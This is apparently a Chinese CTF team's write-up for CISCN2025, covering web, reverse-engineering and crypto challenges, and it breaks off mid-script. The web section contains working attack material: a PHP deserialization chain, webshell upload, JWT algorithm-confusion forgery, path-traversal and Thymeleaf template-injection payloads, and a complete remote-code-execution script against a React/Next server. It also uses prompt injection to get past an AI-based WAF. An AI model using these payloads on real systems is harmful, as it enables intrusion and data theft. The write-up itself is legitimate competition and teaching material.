
CISCN2025 X1cT34m一队​

Web​

AI_WAF​

提示词注入 + SQL注入​

数据库名：nexadata​

表名：article,where_is_my_flagggggg​



字段名：Th15_ls_f149​

flag：​



dedecms​

随便注册一个账户，上去以后可以看到有个用户叫Aa123456789​

该用户账号密码都是Aa123456789​

后台登陆上去，发布一个新的文章，在缩略图处传马



蚁剑连上

hellogate​

jpg图片尾有一段php：​

代码块​

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
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}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />error_reporting</span><span 
style="color: #007700">(</span><span style="color: #0000BB">0</span><span 
style="color: #007700">);<br />class&nbsp;</span><span style="color: 
#0000BB">A&nbsp;</span><span style="color: #007700">{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: 
#0000BB">$handle</span><span style="color: #007700">;<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: 
#0000BB">triggerMethod</span><span style="color: #007700">()&nbsp;{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span 
style="color: #DD0000">""&nbsp;</span><span style="color: #007700">.&nbsp;
</span><span style="color: #0000BB">$this</span><span style="color: #007700">-
&gt;</span><span style="color: #0000BB">handle</span><span style="color: 
#007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />class&nbsp;</span>
<span style="color: #0000BB">B&nbsp;</span><span style="color: #007700">{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: 
#0000BB">$worker</span><span style="color: #007700">;<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: 
#0000BB">$cmd</span><span style="color: #007700">;<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: 
#0000BB">__toString</span><span style="color: #007700">()&nbsp;{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span 
style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span>
<span style="color: #0000BB">worker</span><span style="color: #007700">-&gt;
</span><span style="color: #0000BB">result</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />class&nbsp;</span><span 
style="color: #0000BB">C&nbsp;</span><span style="color: #007700">{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: 
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#0000BB">$cmd</span><span style="color: #007700">;<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: 
#0000BB">__get</span><span style="color: #007700">(</span><span style="color: 
#0000BB">$name</span><span style="color: #007700">)&nbsp;{<br 
/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span 
style="color: #0000BB">file_get_contents</span><span style="color: #007700">
(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-
&gt;</span><span style="color: #0000BB">cmd</span><span style="color: 
#007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span 
style="color: #0000BB">$raw&nbsp;</span><span style="color: 
#007700">=&nbsp;isset(</span><span style="color: #0000BB">$_POST</span><span 
style="color: #007700">[</span><span style="color: #DD0000">'data'</span><span 
style="color: #007700">])&nbsp;?&nbsp;</span><span style="color: 
#0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: 
#DD0000">'data'</span><span style="color: #007700">]&nbsp;:&nbsp;</span><span 
style="color: #DD0000">''</span><span style="color: #007700">;<br /></span>
<span style="color: #0000BB">header</span><span style="color: #007700">(</span>
<span style="color: #DD0000">'Content-Type:&nbsp;image/jpeg'</span><span 
style="color: #007700">);<br /></span><span style="color: 
#0000BB">readfile</span><span style="color: #007700">(</span><span 
style="color: #DD0000">"muzujijiji.jpg"</span><span style="color: #007700">);
<br /></span><span style="color: #0000BB">highlight_file</span><span 
style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span>
<span style="color: #007700">);<br /></span><span style="color: 
#0000BB">$obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span 
style="color: #0000BB">unserialize</span><span style="color: #007700">(</span>
<span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span>
<span style="color: #DD0000">'data'</span><span style="color: #007700">]);<br 
/></span><span style="color: #0000BB">$obj</span><span style="color: #007700">-
&gt;</span><span style="color: #0000BB">triggerMethod</span><span 
style="color: #007700">();</span>
</span>
</code>

反序列化：

代码块​

<?php
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {

29
30

1
2
3
4
5
6
7
8



    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}

$c = new C();
$c->cmd = "/flag";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
echo urlencode(serialize($a));
?>

Deprecated​

JWTutil.js：​

代码块​

9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29



const jwt = require('jsonwebtoken');
const fs = require('fs');

const publicKey  = fs.readFileSync('./publickey.pem', 'utf8');
const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');

module.exports = {
    async sign(data) {
        data = Object.assign(data);
        return (await jwt.sign(data, privateKey, { algorithm:'RS256'}))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: 
['RS256','HS256'] }));
    }
}

签名用的RS256，验证HS256也能用，爆破公钥最后用HS256校验就能伪造admin​

随便注册获取两个jwt：​

代码块​

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwcml2aWxlZGdlIjoiVG
VtcCBVc2VyIiwiaWF0IjoxNzY2OTAyODQ5fQ.abAPCEOr-bI3twCxOYz8iK5pvpkqaUjcZ-
73NdLWMU-
6A6PXo26euRvzKJqN01XXu2fmjrfMKhZxXMuNxYuA20AatZ7U5cFGdNlBIFQRNUh2kVk5PVC6kt9NR0
Xp8suFtLsL6IR-d4g-khPI0WkF2um6Pw1uXGWjR-jew9QwM8Q
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIiLCJwcml2aWxlZGdlIjoiVG
VtcCBVc2VyIiwiaWF0IjoxNzY2OTAyOTMwfQ.YDlWRLKn1DUBwIlz8ZyXUVXlbclCkKEgLxQ6ERbgim
taoVyZCV5cgSIhLCkXj8A2hHVQ8ln7SGVTMBPE880eUXlQcrBFJ1LTTzRaF8MxBDCPWqt2nFe6eFX6x
O_Re0bqMP2cRnxFqfkOlAGF9o02XbKDP1Iq9AFrCJfnbJMwzTc

rsa_sign2n：​

伪造jwt：​

代码块​
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from pathlib import Path
import jwt
import pickle
import base64

path = Path('.')
for file in path.glob('*.pem'):
    with open(file.name, 'rb') as key:
        token=jwt.encode(
            payload={
                "username": "admin",
                "priviledge": "File-Priviledged-User",
                "iat":"1766891616",
            },
            key=key.read(),
            algorithm='HS256'
        )
        print(token)
        print("---")

输出中第二个jwt可以绕过验证：​

代码块​

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZS
I6IkZpbGUtUHJpdmlsZWRnZWQtVXNlciIsImlhdCI6IjE3NjY4OTE2MTYifQ.1w3xk_xtkOYBCRWwAH
417fTMdjHSyBsRSJUdDd1FmwM
---
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZS
I6IkZpbGUtUHJpdmlsZWRnZWQtVXNlciIsImlhdCI6IjE3NjY4OTE2MTYifQ.BMkaCC8Mhnv2xNFTrU
hnAhAIKFN4MfHH_8IsxAEIPPA
---

checkfile：​
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router.get('/checkfile', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await db.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist.`);
        }
        if (req.data.username === 'admin' && req.data.priviledge==='File-
Priviledged-User'){
            let file=req.query.file;
            if (!file) {
                return res.send('File name not specified.');
            }
            if (!allowedFile(file)) {
                return res.send('File type not allowed.');
            }
            try{
                if (file.includes(' ') || file.includes('/') || 
file.includes('..')) {
                    return res.send('Invalid filename!');
                }
            }
            catch(err){
                return res.send('An error occured!');
            }

            if (file.length > 10) {
                file = file.slice(0, 10);
            }
            const returned = path.resolve('./' + file);
            fs.readFile(returned, (err) => {
                if (err) {
                    return res.send('An error occured!');
                }
                res.sendFile(returned);
            });
        }
        else{
            return res.send('Sorry Only priviledged Admin can check the 
file.').status(403);
        }

    }catch (err){
        return next(err);
    }
});

1
2
3
4
5
6
7

8
9
10
11
12
13
14
15
16

17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

37
38
39
40
41
42
43
44



数组绕过 https://ahmed-belkahla.me/post/csictf2020/，payload：​

代码块​

/checkfile?
file[]=../../&file[]=../../&file[]=../../&file[]=../../&file[]=../../&file[]=..
/../&file[]=../../&file[]=../../&file[]=../../&file[]=../../flag.txt&file[]=.&f
ile[]=log

EzJava​

弱口令： admin/admin123  登进后台，thymeleaf 注入​

列出根目录下文件：

代码块​

<p>现在时间: <span th:text="${T (java.util.Arrays).toString(T 
(java.io.File).listRoots()[0].list())}"></span></p>

flag被过滤了，拼接绕过读 /flag_y0u_d0nt_kn0w ：​

代码块​

1

1

https://ahmed-belkahla.me/post/csictf2020/


<p>现在时间: <span th:text="${T (java.nio.file.Files).readString(T 
(java.nio.file.Paths).get(T 
(java.lang.String).join('','/fla','g_y0u_d0nt_kn0w')))}"></span></p>

Redjs​

考验看不看新闻的题(?​

代码块​

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = 
process.mainModule.require('child_process').execSync('{EXECUTABLE}',
{{'timeout':5000}}).toString().trim(); throw Object.assign(new 
Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
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        # "_prefix": 
f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

Reverse​

Eternum​

分析流量，可以看到各个帧的结构还是比较规则的。起始8字节是固定magic number：ET3RNUMX。

之后4字节长度，后面没什么规则，应该是数据。​
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Ubuntu虚拟机中运行程序，命令行参数为物理主机的ip，开始调试​

交叉引用找到可疑字符串，长度刚好32字节，经过调试确认为密钥。​

后面不远的sub_6584A0函数，发现通过异或生成了ET3RNUMX字符串，猜测这部分和数据包有关。​

继续分析，使用了AES-GCM，向量nonce和tag也被放在流量包中，没有用AAD。 ​

写个脚本把包体中的参数拆出来。

代码块​



import struct

MAGIC_NUMBER = b'ET3RNUMX'
MAGIC_SIZE = 8
LENGTH_SIZE = 4
NONCE_SIZE = 12
TAG_SIZE = 16

def parse_frame(data_bytes):
    magic = data_bytes[:MAGIC_SIZE]
    length_bytes = data_bytes[MAGIC_SIZE:MAGIC_SIZE + LENGTH_SIZE]
    data_length = struct.unpack('<I', length_bytes)[0]
    
    data_start = MAGIC_SIZE + LENGTH_SIZE
    data_end = data_start + data_length
    encrypted_data = data_bytes[data_start:data_end]
    
    encrypted_data_len = len(encrypted_data) - NONCE_SIZE - TAG_SIZE
    if encrypted_data_len < 0:
        return "错误: 数据格式不正确"
    nonce = encrypted_data[:NONCE_SIZE]
    encrypted_content = encrypted_data[NONCE_SIZE:NONCE_SIZE + 
encrypted_data_len]
    tag = encrypted_data[:TAG_SIZE]
    
    return {
        'magic': magic,
        'data_length': data_length,
        'nonce': nonce,
        'encrypted': encrypted_content,
        'tag': tag,
    }

def print_parsed_result(result):

    if isinstance(result, str):
        print(result)
        return

    print(f"Length: {result['data_length']}")
    print(f"Nonce: {result['nonce'].hex()}")
    print(f"enc_len: {len(result['encrypted'])}")
    print(f"enc_data: {result['encrypted'].hex()}")
    print(f"Tag: {result['tag'].hex()}")

if __name__ == "__main__":
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    frame_list = [
        
"455433524e554d5800000034c96e7de65400a76b2122b0584b544c1d99760e0a2d9e91e81673bf
99172ee000e690a58c8431a2fab77bd4a304ed89d5964e872e",
        
"455433524e554d5800000033c8250252aab6d388bd562cee09f4ce88dad989dcc4d50f400b2c2c
99b0e667ecc635b0d26fd5f3fafab1c67a883bc380c3f726",
        
"455433524e554d5800000034d70228e9e42faa665cd6fad4f3a943ae4d16464a94ac2fa7976300
c1db22d78caec13b77c9b82b8c3fc92732e96a8389ed2992f7",
        
"455433524e554d580000002f12d29894ae5835bed448531df3e9b2c1e286b82715660d985dc600
3af0787b361ede4cd277cbc19574c4c412a8ef7d",
        
"455433524e554d580000005674e53ec9890140f222055846f60152892972b1cc1fa94a9b405523
5a59a6a868a133f7676d14d8466a6606575bed32589b521d95e8e30600ad764f5344e26751a7d16
fc059cbe9931d73f11ae406b4390ac75bfab27f",
        
"455433524e554d5800000031974d385b582644a3b9645621c3bec8807b21e3bc408cd4d9107d75
445fb598a0a6b85d6ab0f2f1a35e8dd07be9d62a96ff",
        
"455433524e554d58000000a75f8fa8326a5bdda485d607d86f4f06b8c850a2f4459671932effe3
bfb0d67b88716efeb63fcd70cf96ff81cb74442323dfac82eb75151c8fc98e51129ff1b01d2c1f6
1b7d0f58a1127f40895c569bcb18f988a0585f2edb9e33728536fdbcc45d09943d1f62446174907
0b1f8fdfe124e66ccc2cfd68dcbeb0fbce7f886341642807499c75a6fc9034386011cc08957ae81
44ab1707f3f018503233eb10f32c829e7117a04110d",
        
"455433524e554d5800000034b93b44044e3130b2137e90aec2b051e13c1acffa13b0d6e01d398d
abaadd1f62fdc7e17e7484044c5b50fd92d6c6d0f8dcd67785",
        
"455433524e554d580000003f872c6507818f6518c30f3e101c2e7c4611c4053040a4e6caa5eeec
cb2c4501c18db589e800248c3ec635f1fa9a00aa0e5c75b4a57fbe4287a52e8c206f9a67",
        
"455433524e554d5800000034a04e3ac38266d7fbfea1d4632b90f7d2069d0df8ee589079ee1024
55800096ca9aaa24e4859a6bc327b5ae02b5e36f4d3fd991c6",
        
"455433524e554d5800000072f878524c5f257d9ab943ecb679d0c5f650e0dc25d0639c7d36bd16
798f0bdddaa6849515265d686320bdff2cf7b5679cf9f43ed919cbeef7a985d665d533e6a01c510
cc79f053e2b510b2e3202b3d5a621fccd828798387464f99dc254d26c419639fe8e3547548aeebf
f7ec7a285f77ad1c",
        
"455433524e554d580000003894cc70d4ac89d1cedcbcb96e3709024e760bbab6173b758f2c5237
295cf59bece700c3f7f93fad0b037cf662a1dda82e3429154800b85d0d",
        
"455433524e554d5800000036d36ea8e9f66335df606f4eb11834cddba67d06d06471b09a923254
78b1d8878bab067c9b0fc9708ec52d1e5c2e741a8d617799b37c9c",
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"455433524e554d580000003f4968dccf4788b006b221beab05a4f33482c047825d504861a12f34
2175feb7a27f905588636458448ee86e7542dc43c5f9e8f732e4be441ed48b5614642f0b",
        
"455433524e554d5800000078fc3d8084493236eccfec4ce55cffb4a67ac1e5ce4e636f7ed070e0
f563e4b6f276454a9c727a88769a2bae594c80b9673c156739570c9d94c590fd41ef77ea348bf55
649cbec9aa252aa18943ebb8cb4c1b8940fdf5fe9508a71d2912b30607b2601c10a4fdfdf3e287d
31ffd54d2dd3d4a9da40646fa488",
        
"455433524e554d5800000030946086de7ef8fd2a87b745884994953b27827a328cadef29c8ba96
786e6d711b79717cd2c44423fab555f76401affdfe",
        
"455433524e554d5800000035613970801db07bc7c25e779c5a5da0360b34e4a53ce424787b4a57
df23a0dc859bad9cea471457434e5be2d0ef9e2c6eb95d79b348",
        
"455433524e554d58000000351582ea3acaf7e4e3e709c4a3aa2387b5b396ddc6a4044d0a32ce46
501f233c50bacd42d3038fc28d85fe18d84ceae7060404fa5f9c",
        
"455433524e554d580000009a12668fa3b801e4b30ba7d06931a8f0dddc707d096f9e79c45bfb90
bc5bda31774430e8ba73715f4cb60e39dc19ea936809104830e5a0e33856cbaf76f87d95fb0d30d
6b7db64c4a325df09f7cdf1db58267c7766dcfb84b0081fa9da9fc944d07d976a532c0d507d186c
aaed08a7044c9a5d3546b77c260b3f397655e2a4d21c55fe10460549ebed1c2413eca7f3d0e59c1
cbea149e58eb13795",
        
"455433524e554d5800000037583fa18bf2208149334fcdef3e2d2a9ca7d1252d04d05573383c83
df35f59b982b85b62cc934f789dee7f6eb50186cb905319504eb4dad",
        
"455433524e554d580000080049bc06fc6c7d22431da6da25160583849672dbaf1b29ed87ec3b6d
da2d0508c31dc75d89eb54f195ffeec28d93b8523f80738b900f06dd95c89f0535a8d3dfcfe0e3b
a4dcc9de35556eb1440541192fcded49c01723c0f3c0274372073ec500ef451519fd4dfc9eb5724
5e35375ed7909144a99d53fa575a72251903e4fe25620e21477832882f10895c174d453f7545004
b43c5cbb512a2bd725451fad670a9d9bc1d92ba34f940f97359095cac5411dd9d9d4e660a251087
cc542c6e308c29d30a872f81433d1a866715dca84f5f4e1be9f4ef090bf9710d3f553899b441142
4260c790a1772e26d3a80fd47e7be418cf133279a868edd7fb20a0edcfaeda2fcfad237a027e431
1e562d074b573bd71f017adc80ed26c28b02bd5a747ee1bcf07d10302047d2e98c9c3f07f9f0f10
9ab282b5052d2fef0bbea7447231d1a28216adcf537f67a9d4f45f8c372b44bb0c8cdb632c833a8
6a656339e5b77ee6ea640e4048cb2d19d6f33a99c487c1281e190a85b12791899c0111e45f2b428
db843667ac0dc3ec067da1d1607ef3c795bcb653e0686f7f73f98bb7725f804a2df220ea998c443
767ccc2e51585ce55b44af9abdf13e5d1a82b2a64a2af59c21a1d9c9f6a481b3ed57d66d0e72cf1
13b7c93786ba392e884110ffad4719aec924e8d9d34807d9102bef22a183391deb9025749afaf98
4671513da34a6b3b107cd7ec7a17f256924000fab065cb4c5b622b32a4178547dd3ceff92f524e3
214d2f6ed97d394faf7ec303195bcd5cb546475f00a33c389309b235b6cc5015f48d8500fb3560c
d1e613e081f15968de252a1edbf90bcaf03cf22e628f2b8248f3ed1916257f0188d93c99afe49f2
8a294aa14897ffcac7a36202bc63edf0375356ec958d9de74a7f69bddf0c5f0e8777679b9a9064b
ca8606fe178fec280ed4958fb026f2c357928a2c508af4692ecc109dff0e6075e4bf8686c1e94e4
bf89b1586f80c094456c6c05bfb61efa886574b79f4326cb4f0728392f967e6e44ece34298d6f2d
256cfd0357e2e3140f7fa52f81ec9a43662b00d82c6ec209d58fa032fb22feb0ae868d9813f48c7
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630d917401c0f6b8154556a5aaf21249d9368d54afda7bfdc1245b045329d9627b35b287eb0107b
b6f2f5d5fd828e81fa7b76b0017a621a0b8ed44168c34311a7f35ccb347a850276f31beebb6179c
49d25f4bb77401f1b6bfc9f67fa5cd659c5a49ea9d06baea8fe408d1f4e5e10732c41a1cdaa94d5
357cb3b0e7700822852e65094094de277def4db147cccb771809f7c612f1d42e9e6898b36a1f394
914a9ff69eb88d5887feaed39c8ca6666d483b027da3e2d855714abc26900b32f71f50437ebc00f
038313583e1077d49de2e587afb5f6f097bb51c2e276817503065f6436f6d97331965fe48b58fb0
5c89f7950a655c9ffbea684d6d71b6bd2eb21acb26affcdc2640d6559fca8736956df805a40a084
7fdd18c952b6f1a4a49660528d49ea2d52e99c76825426724f84a1fde0c985e8da743c8e22ba42b
443f9f62e6fff41a8ff89fcea76b7c423abb58c2105663f4335292dabff154d0e423d596b868840
717d6bc4d29d5f3661e1353008db98617ca9727bfd6e12154553ada7fab7afac28ab4113fc218c9
fdd20304a0f6e8afaf94b3a76a45201d4f5d99c9d70ff69827d532cad6abbeeda0181674cb87607
ba84e73bd8ddbf690f65e9591a2b6246e0148a8f3c619d8b9b0504c7d075bf425bcfda8426885a3
674ec416b034602ccf85e1377d6e9e82b7a5bbdd54280685f2db01c79136e539a598ff3024fcfcc
e4df1efb8e6e780ccb7dec9ac99d0dfb416f9cd7a87f0bc9c11f303808c82fb226c74e8c439d3cb
865921d06f43d800526ed98deda24cc327a175378335465f02a5ecfbff9cc3f6a04af2d5544b6b2
54bdbe988e4c5d0fc0298dffbb8af82bad8c6f06d281ee133ec808894582b1fd645419e94d675b6
f622020936396ee4791902f9a8714e17d67af7036fef91420cba565125ee2ccc7f5484c64cc621a
8a8be2ae34d47f9f4202a7e2aeec9064db8fc8ebddcb0695cf107eadf2a73aa8246dd3787751acb
0a05df3b3f2b3f5fa7b46e2538bd992b37719e2abceeeaf5b71bff79fd471a3cdb44a2886c26b23
ce48dbfaf49f31187affe22334d626f55f0e5eb67016f9c3294f071cd723a58bced968d7263b15c
e7a345ce45ad65195535261678aa29ef633f524ff9f2b5fb31598a8cbcf2af59a30cb7543c73e5b
8efc85bb8038e232c24de87e9ac81fc5c5d34a8c171f0385eefe4c6a9554c85ad5bb360c7b69dcf
5aa9a3741bfcf4917c2f442c1d829f624f2134a9509d43ee429e1f41bafc2545455a85d8dc70124
b3e5230ddd72cd9afc33c07961e66deb464e072d9d9fe8ef5006a1dff7487412d92c5407f11c5fc
0bedf474c73ba97fe554aec6ca0c5dec7456e747e04ffdacde4bb712884cce8f0174d04e3d920e0
fd0d464e5075760cf5ba90904a4d47894834797809c185500bc41ec2fcf4301b0c579a66fc96c35
58f0c22a9bb0459b7f1012b9d0185f4f6da8b1b3be6242718925ea86f3b72d709444a712b293fc2
377b1975542e5801d36632509eb239c068e9be6928a5b589d456722d7f28f12e9048b1f5b9e922b
5392e927a03fc2acc8ec9bdb65299c6942a143b4d4eba13653106491da7a25f3a60e8d278ec7500
0db80017fe5202a6e46498cee5fb2de51c90bffeee6117511f602efb3f27102e562f301ebb5e2be
fe8a3259c9d007f34e79afbcf8f0b1ea9a24591ebb9894cbba84370b4172cfd387379e334c30c57
fc27f139e49761c300629ab999a68b4e23ca2af415e8fd4f277b71d7325aa4e83635e9fe563649d
8e53838cf6588",
        
"455433524e554d5800000030118e60794250128d6d64d58ed750353ccd24fa15b9710a862e2647
d659580f5f088ee9eb846f046e98fe787a6bcba928",
        
"455433524e554d580000003b4213f911ba0ccd4958e1b95b2f33745a39b379f991f187e9a43d8e
a19e077f6ea6006d9d54d60a8a594d178a6f0e3570b3cab5c391b6904fbe6fc7",
        
"455433524e554d580000003a3be4daa4a657c2f1e2d25d3485901cf0dfa7d7e8e546715f3f7f5d
7c6b75e60704e7ce40bb1bf398d02d08be53353fc8d3bdfcaeae61a0928089"
        ]
    for (id,frame) in enumerate(frame_list):
        result = parse_frame(frame)
        print(id)
        print_parsed_result(result)
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        print("--------------------------------------------------")

依次在cyberchef解密​

第14个帧解密后有一个显眼的base32编码，解码即为flag。​
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flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}​

wasm-login​

分析html部分的脚本，导入 release.js 和 release.wasm 后，本地调用 authenticate 。​



wasm转成wat逆向分析，验证流程如下：​

1. 密码预处理：使用换表Base64编码​

2. 时间戳处理：转换为十进制，UTF-8编码字符串​

3. 构造中间JSON： {"username":"xxx","password":"Base64密码"} ​

4. 计算签名：使用时间戳作为密钥，计算HMAC-SHA256，结果再次换表Base64编码​

5. 最终结果： {"username":"xxx","password":"Base64密码","signature":"Base64
签名"}

模拟服务端的验证，对整个JSON又进行一次md5，给出了check hash的前几字符。​

已知测试账号 admin 测试密码 admin。但是题目没有明确给出时间戳，只是一个大致的时间范围，可

能需要爆破时间。

修改 release.js 以便于hook修改时间戳​



以1小时为时间段，从 2025-12-21 12:00:00.000 UTC 开始。​

代码块​

import { authenticate } from "./release.js";
import crypto from 'crypto';

async function run() {
    const step = 1; 
    const start = 1766332800000;
    const end = 1766336400000;
    const check = "ccaf33e3512";

    for (let t = start; t < end; t += step) {
        globalThis.timestamp = t;
        var result = authenticate("admin", "admin");
        var json = JSON.parse(result);
        var str = JSON.stringify(json); 
        var hash = crypto.createHash('md5').update(str).digest('hex');

        if (hash.startsWith(check)) {
            console.log(`Data: ${t} ${str}`);
            console.log(`Hash: ${hash}`);
            process.exit(0);
        }
    }
    console.log(`None`);
}

run();
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Data: 1766334550699 ​

{"username":"admin","password":"L0In602=","signature":"LxZiwA05Y9h7wX1CI0gUitOE2LBy9y

8McoBqWgKIdDo="}​

Hash: ccaf33e3512e31f36228f0b97ccbc8f1​

Babygame​

gdre_tools解包出游戏脚本。​

flag.gdc  直接看到 AES-ECB，注意密钥被修改。​

代码块​

var score = 0
func add_point():
    score += 1
    if score == 1:
        Flag.key = Flag.key.replace("A", "B")
        fan.visible = true

Crypto​

ECDSA​
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public.pem
268 B

signatures.txt



task.py

疑似考格的题被不小心弄成了签到题？

题目采用了ECDSA签名，使用NIST521p曲线​

可以发现每次签名的信息（ b"message-" + bytes([i]) ）和随机数 nonce
（ int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") ）都是可预
测的

自然由ECDSA签名方程 ​ 可得​ ​s ​ ≡i k ​(H(m ​) +i
−1

i r ​d) modi n d ≡ (k ​s ​ −i i H(m ​))r ​ modi i
−1 n

更多组数据只是确认解正确而已

唯一卡了很久的是其最后提交flag的格式实际上是 str(d).encode() 的MD5值（说好的

long_to_bytes(priv_int, 66) 呢???​

exp：​

代码块​

from ecdsa import VerifyingKey,NIST521p
from hashlib import sha512,sha1,md5

1
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from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys

uh = lambda x: binascii.unhexlify(x.encode())

def nonce(i):
    seed = sha512(b"bias" + bytes([i])).digest()
    k = int.from_bytes(seed, "big")
    return k

n = NIST521p.order
mls = []
sigls = []
raw = open('signatures.txt').readlines()
for l in raw:
    rm, rs = l.strip().split(':')
    mls.append(uh(rm))
    sigls.append(uh(rs))

for i in range(len(sigls)): # 60
    bt = sigls[i]
    sigls[i] = (int.from_bytes(bt[:66]),int.from_bytes(bt[66:]))  # r,s

for i in range(60):
    r,s = sigls[i]
    m = mls[i]
    k = nonce(i)
    H = int.from_bytes(sha1(m).digest())
    d = (k*s - H) * pow(r,-1,n) % n
    print(f'flag{{{md5(str(d).encode()).hexdigest()}}}')

flag{581bdf717b780c3cd8282e5a4d50f3a0}​

Ezflag​

先进行逆向，发现存在一个类似斐波那契+十六进制换表的flag“生成”逻辑​
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直接搓就可以，注意枚举可得索引表的周期是24，因此原程序中v1的调用直接改为索引取

fib[v%24]

还有就是python中需要模拟C的 ull 溢出逻辑（取低64位）​

exp：​

代码块​

def fibls():
    ls = [0,1]
    for i in range(22):
        ls.append(ls[-2]+ls[-1])        
        ls[-1] &= 0xf

    return ls

if __name__=='__main__':
    K = "012ab9c3478d56ef"
    fib = fibls()
    v = 1
    opt = ''
    for n in range(32):
        opt += K[fib[v%24]]

        if n in (7,12,17,22):
            opt += '-'
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        v = v*8 + n + 64
        v %= 2**64
    
    print(opt)

flag{10632674-1d219-09f29-14769-f60219a24}​

RSA_NestingDoll​

已知 outer_n  的因子均为（部分的）光滑数（具体地，​ ），通过 

Pollard's p-1 算法即可提取出 inner_n  的所有因子​

p =′ p ⋅ ​s ​, s ​ ≤
i=1

∏
n

i i 220

因此处涉及四个质数之积，且构造时使用的 getPrime(20)  生成的质数较小，极易在相邻的素数区

间中出现重叠，直接使用传统的完整阶乘 ​  计算会导致  同时命中多个 ​  的倍数阶乘，从而使

计算出的 ​  等于多个外因子的乘积，甚至直接等于 ​ ，无法有效分离出单个因子​

B! gE p′

gcd(g −E 1,n) n

故需将小素数集合分块处理，为加快程序运行设定快速移进指数 ​ ，若出现 

​  （即“溢出”）的情况，则回退到该块内逐个素数进行模幂运算，以获取单一外因子​

E = ​p ​

i=1

∏
n

i

⌊log p ​⌋B i

gcd ≥ n

该算法在成功分解一个 outer 因子 ​  后，可计算 ​   提取对应的内圈质数，重复直

至得到全部四个内圈质数即可

p′ gcd(p −′ 1,n ​)inner

分解代码：

代码块​

from sage.all import *

def f(n, n1):
    B = 2**20
    A = []
    x = n
    y = n1
    g = pow(2, y, x)
    z = 200
    
    q = list(primes(B))
    t = len(q)
    i = 0
    
    while i < t and len(A) < 4:
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        u = g
        E = 1
        for j in range(i, min(i + z, t)):
            p = q[j]
            E *= p ** (B.bit_length() // p.bit_length())
        g = pow(g, E, x)
        d = gcd(g - 1, x)
        
        if d == 1:
            i += z
            continue
        if d < x:
            v = gcd(d - 1, y)
            if v > 1:
                A.append(v)
                y //= v
            x //= d
            g %= x
            continue
        
        g = u
        for j in range(i, min(i + z, t)):
            p = q[j]
            k = B.bit_length() // p.bit_length()
            g = pow(g, p ** k, x)
            d = gcd(g - 1, x)
            if 1 < d < x:
                v = gcd(d - 1, y)
                if v > 1:
                    A.append(v)
                    y //= v
                x //= d
                g %= x
                break
        i += z
    
    if len(A) == 3 and y != 1:
        A.append(y)
    
    return A

if __name__=='__main__':
    a = 
